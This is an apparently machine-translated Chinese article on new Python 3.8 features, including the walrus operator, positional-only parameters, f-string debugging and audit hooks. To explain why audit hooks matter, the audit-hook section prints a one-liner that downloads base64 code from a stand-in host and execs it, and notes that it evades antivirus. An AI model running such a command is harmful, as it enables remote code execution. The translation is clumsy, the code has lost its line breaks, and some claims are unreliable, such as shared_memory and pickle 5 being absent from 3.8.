Python 3.8:新增功能和用法

以下翻译是专门为有兴趣阅读以确保有关Python 3.8新功能的Python专家准备的。 期望在“ Python开发者”课程上启动新线程时我们无法超越这个主题。

在本文中,我们将讨论Python 3.8中引入的新功能。




海象运算符(分配运算符)


我们知道您正在等待。 这种期望可以追溯到故意禁止Python使用“ =”作为比较运算符的时代。 有些人喜欢它,因为他们不再在分配和比较中混淆=和==。 其他人则发现重复操作符或将其分配给变量不舒服。 让我们继续一个例子。

根据Guido的说法,大多数程序员倾向于写:

group = re.match(data).group(1) if re.match(data) else None 

相反

 match = re.match(data) group = match.group(1) if match else None 

这会使程序运行缓慢。 尽管可以理解为什么有些程序员还是不采用第一方式编写代码,但这会使代码混乱。

现在我们有机会这样做:

 group = match.group(1) if (match := re.match(data)) else None 

另外,在使用ifs时它很有用,以免提前计算所有内容。

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

相反,我们可以这样写:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

这是最佳选择,因为如果第一个有效则不会考虑第二个if。

实际上,我对PEP-572标准感到非常满意,因为它不仅提供了以前不存在的机会,而且为此使用了其他运算符,因此将它与==混淆并不容易。

但是,与此同时,它也为错误和创建以前无法运行的代码提供了新的机会。

 y0 = (y1 := f(x)) 

位置论点


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

在这里, /之前的所有内容都是严格的位置参数, *之后的所有内容都只是关键字。

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

此功能的范围可以用一句话表示。 库将更容易更改其签名。 让我们看一个例子:

 def add_to_queue(item: QueueItem): 

现在作者应该支持这样的签名,并且参数名称不再应该更改,因为这种更改将变得很关键。 想象一下,您不仅需要更改一个元素,还需要更改整个元素列表:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

大概:

 def add_to_queue(*items: QueueItem): 

由于以前的版本可能不兼容,因此您以前无法执行此操作。 现在可以了。 此外,这与已经使用此方法的设计更加一致。 例如,您不能将kwargs传递给pow函数。

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

用f线调试


一个小的附加功能,可以帮助我们使用“变量名=”变量形式的紧凑记录格式。

 f"{chr(65) = }" => "chr(65) = 'A'" 

您在chr(65)之后注意到了吗? 同样的把戏。 它有助于提供一种使用f线打印变量的较短方法。

本机异步外壳


现在,如果我们将Python shell作为'python -m asyncio'运行,则不再需要asyncio.run()来运行异步函数。 可以直接从外壳程序本身使用Await:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test():await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

Python调用运行时审核挂钩


Python Rantime高度依赖C。但是,在其中执行的代码不会以任何方式记录或跟踪。 这使得难以监视测试框架,日志记录框架,安全工具的运行,并且可能会限制运行时执行的操作。

现在,您可以观察到运行时触发的事件,包括模块导入系统的操作和任何用户挂钩。

新的API如下:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

挂钩不能删除或更换。 对于CPython,来自C的钩子被视为全局钩子,而来自Python的钩子仅用于当前解释器。 全局挂钩在解释挂钩之前执行。

一个特别有趣且不受跟踪的攻击可能看起来像这样:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

大多数防病毒程序都不会扫描此代码,因为它们专注于在加载和写入磁盘时读取的可识别代码,而base64足以解决此系统问题。 该代码还将通过安全级别,例如文件访问控制列表或权限(不需要文件访问时),受信任的应用程序列表(假设Python具有所有必要的权限)以及自动审核或记录(前提是Python可以访问Internet或访问本地网络上的另一台您可以用来获取有效负载的机器。

使用运行时事件挂钩,我们可以决定如何响应任何特定事件。 我们可以注册事件或完全终止操作。

multiprocessing.shared_memory


帮助使用来自不同进程/解释器的相同存储区。 基本上,这可以帮助我们减少序列化对象以在进程之间传输它们所花费的时间。 除了序列化,排队和反序列化之外,我们还可以使用其他进程中的共享内存。

Pickle协议和带外数据缓冲区


pickle 5协议提供对带外缓冲区的支持,其中传输层可以自行决定将数据与主pickle流分开传输。

前面的2个附加组件非常重要,但是它们并未包含在Python 3.8的发行版本中,因为仍然存在一些与旧代码兼容的工作,但这可以改变Python并行编程的方法。

子口译员


由于GIL,Python中的线程无法并行运行,而进程需要大量资源。 仅此过程的开始需要100-200毫秒,并且它们还会消耗大量RAM。 但是有些东西可以应付它们,这些都是子解释器。 GIL是一个解释器,因此它不会影响其他解释器的工作,并且它的启动比进程容易(尽管比线程慢)。

在这种连接中出现的主要问题是解释器之间的数据传输,因为它们无法像流一样传输状态。 因此,我们需要在它们之间使用某种连接。 Pickle,marshal或json可用于序列化和反序列化对象,但是此方法将非常缓慢地工作。 一种解决方案是使用过程模块中的共享内存。

子流程似乎是解决GIL问题的好方法,但是仍然需要完成一定的工作量。 在某些情况下,Python仍使用“运行时状态”代替“解释器状态”。 例如,垃圾收集器就是这样做的。 因此,您需要对许多内部模块进行更改,以便以正常方式开始使用子解释器。

我希望可以在Python 3.9版中完全部署此功能。

总之,我想说的是,此版本中添加了某种语法糖,并对库的工作和执行过程进行了一些重大改进。 但是,许多有趣的功能从未进入发行版,因此我们将在Python 3.9中等待它们。

资料来源:


Source: https://habr.com/ru/post/zh-CN472432/


All Articles